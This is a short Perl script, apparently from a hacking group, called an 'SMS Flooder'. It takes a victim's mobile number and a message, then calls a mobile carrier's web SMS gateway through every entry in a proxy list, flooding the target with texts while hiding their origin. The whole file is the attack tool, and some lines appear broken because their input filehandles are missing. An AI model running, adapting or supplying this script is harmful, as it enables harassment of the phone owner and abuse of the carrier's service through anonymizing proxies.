#!/usr/bin/perl
#########################################
# SMS Flooder v.1.0 #
# v1z1t www.dhgroup.org for more stuff #
#########################################
#Author: D4rkGr3y #
#########################################
print "\n\n";
print "[DamageHackingGroup|www.dhgroup.org]\n";
print "#SMS Flooder v.1.0 by D4rkGr3y\n";
$file = "proxy.lst";
use IO::Socket;
open (proxy, $file) or die "Error opening file '$file'\n";
print "Enter full mobile number (eq: 790231337):\n";
$number = ;
chomp($number);
print "Enter your message (eq: Fuck u babe):\n";
$text = ;
chomp($text);
$url = "http://www.mts.ru/cgi-bin/cgi.exe?function=sms_send&MMObjectType=0&MMObjectID=&To=$number&Msg=$text&Hour=00&Min=00&Day=01&Mon=12&Year=2004&Lang=2";
substr($url, 0, 9999) =~ s/ /%20/g;
print "Flooding started...\n";
while () {
chomp;
($ip, $port) = split(/[:]/,$_);
$socket = IO::Socket::INET->new(PeerAddr => $ip, PeerPort => $port, Proto => "tcp", Type => SOCK_STREAM);
if ($socket) {
print $socket "GET $url HTTP/1.0\n";
print $socket "Referer: http://www.dhgroup.org\n";
print $socket "User-Agent: SMS Flooder v.666 by Vasya\n";
print $socket "Accept: */*\r\n\r\n";
print "$_: OK\n";
close($socket);
} else { print "$_: proxy error\n"; }
}
print "Complete.\n";